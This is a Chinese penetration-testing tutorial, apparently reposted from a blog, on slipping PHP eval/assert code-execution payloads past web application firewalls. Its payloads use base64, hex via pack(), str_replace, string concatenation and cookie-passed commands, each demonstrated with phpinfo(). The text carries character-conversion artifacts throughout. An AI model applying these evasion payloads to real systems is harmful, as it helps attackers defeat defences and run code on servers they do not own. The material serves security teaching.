今天繼續(xù)給大家介紹滲透測試相關(guān)知識,本文主要內(nèi)容是RCE攻擊繞過WAF詳解。
免責(zé)聲明:
本文所介紹的內(nèi)容僅做學(xué)習(xí)交流使用,嚴禁利用文中技術(shù)進行非法行為,否則造成一切嚴重后果自負!
再次強調(diào):嚴禁對未授權(quán)設(shè)備進行滲透測試!
一、WAF攔截RCE攻擊
針對RCE類型的攻擊,有時WAF會進行攔截,如下所示:
上圖是安全狗對網(wǎng)頁木馬的攔截頁面。對于不同的WAF而言,對RCE攻擊攔截的原理是不同的,有的是檢測用戶輸入的內(nèi)容,有的是檢測用戶訪問頁面的內(nèi)容。對于RCE漏洞而言,我們無法控制頁面本身的內(nèi)容,通常管理員會進行合理的設(shè)置,避免WAF對頁面本身內(nèi)容的攔截,因此WAF對RCE攻擊的攔截通常是在用戶輸入上。例如,用戶輸入了phpinfo()、system等關(guān)鍵字符串。
二、利用編碼和解碼方式繞過WAF
針對RCE的WAF攔截問題,我們首先想到的解決方式就是通過編碼的方式來進行繞過。
我們嘗試將phpinfo()這樣的敏感信息,通過Base64加密后,作為base64_decode()函數(shù)的輸入。例如,構(gòu)造payload如下所示:
base64_decode('cGhwaW5mbygpOw==')
payload中的“cGhwaW5mbygp”是phpinfo()的Base64加密后的值。
然而,這樣的方式,卻并不能達到我們預(yù)定的效果。
原因在于,上述payload與eval函數(shù)拼接成如下的代碼:
eval("base64_decode('cGhwaW5mbygpOw==')")
eval函數(shù)可以將輸入當(dāng)作命令來執(zhí)行,但是我們的輸入是一個base64_decode()函數(shù),因此eval函數(shù)會執(zhí)行base64_decode()函數(shù),該函數(shù)執(zhí)行的結(jié)果是phpinfo(),但是該函數(shù)執(zhí)行后的結(jié)果并沒有執(zhí)行。相當(dāng)于上述代碼得到的是“phpinfo()”的字符串,并不是執(zhí)行了phpinfo()函數(shù)的效果。
因此,這種以編碼和解碼的方式繞過WAF是不可行的。
但是,我們可以采用以下的方式,即在base64_decode()函數(shù)的外面,加上一個assert()函數(shù),payload如下所示:
assert(base64_decode('cGhwaW5mbygpOw=='))
這樣的話,assert()函數(shù)與最外層的eval()函數(shù)組合后就會形成如下代碼片段:
eval(assert(base64_decode('cGhwaW5mbygpOw==')))
這樣,該函數(shù)就可以成功執(zhí)行了。
當(dāng)然,我們也可以使用分號,將上述payload拆分成等效的payload,如下所示:
$exp=base64_decode('cGhwaW5mbygp');assert($exp);
該payload執(zhí)行后結(jié)果如下所示:
除了Base64編碼以外,我們還可以使用16進制編碼。解碼函數(shù)為pack()函數(shù),構(gòu)造的payload如下所示:
x=assert(pack(%27H*%27,%27706870696e666f28293b%27));
由分號構(gòu)成的等效payload如下所示:
x=$exp='706870696e666f28293b';assert(pack('H*',$exp));
上述payload執(zhí)行后結(jié)果如下所示:
三、利用替換和拼接繞過WAF
除了上述方式繞過以外,我們還可以通過替換和拼接方式來繞過WAF。替換的方式就是在phpinfo這個易被檢測到的關(guān)鍵字中間添加其他的字符,再使用str_replace()函數(shù)將添加的字符替換為空,這樣的方式構(gòu)造的payload如下所示:
x=$exp=str_replace('abc','','phpabcinfo();');assert($exp);
上述payload執(zhí)行結(jié)果如下所示:
除了使用替換的方式以外,我們還可以用拼接的方式,將原來的敏感字符替換成兩部分,然后再把這兩部分拼接起來,就可以達到效果了,根據(jù)這種方式構(gòu)造的payload如下所示:
x=$exp1='php';$exp2='info()';$exp3=$exp1.$exp2;assert($exp3);
上述payload執(zhí)行結(jié)果如下所示:
以上的payload,大多都含有assert關(guān)鍵字。當(dāng)我們使用上述payload的時候,盡管可以繞開對phpinfo();等關(guān)鍵字的限制,但是卻使用了另一種assert關(guān)鍵字。如果要避免使用assert()關(guān)鍵字,那么我們可以將assert關(guān)鍵字也通過上述方式,來進行拼接或者替換,然后執(zhí)行。通過這種方式構(gòu)造的payload如下所示:
x=$exp1='ass';$exp2='ert';$exp3='php';$exp4='info();';$exp5=$exp1.$exp2;$exp5($exp3.$exp4);
上述payload執(zhí)行結(jié)果如下所示:
四、另類上傳方式繞過WAF
除了上述方法外,我們還可以采用其他的方式來繞過WAF。比如,我們采用其他的上述方式來繞過WAF。WAF對用戶輸入的檢測是存在一定限制的,這個限制來源于WAF的資源,如果WAF占用太多的資源,就會影響業(yè)務(wù)系統(tǒng)正常運行,因此WAF再很多時候都會放松對cookie等方式的檢驗。因此,我們就可以利用這個原理,構(gòu)造payload,讓代碼接收cookie方式的變量,然后把敏感字符以cookie的方式上傳。這樣構(gòu)造的payload如下所示:
x=$exp=$_COOKIE['exp2'];assert($exp);
exp2=phpinfo();
上述payload執(zhí)行結(jié)果如下所示:文章來源:http://www.zghlxwxcb.cn/news/detail-427119.html
五、寫在最后
上述講了很多的payload及其原理,這些payload的構(gòu)造思想,可以聯(lián)合起來使用,或許會起到更好的效果!
原創(chuàng)不易,轉(zhuǎn)載請說明出處:https://blog.csdn.net/weixin_40228200文章來源地址http://www.zghlxwxcb.cn/news/detail-427119.html
到了這里,關(guān)于RCE攻擊繞過WAF詳解的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!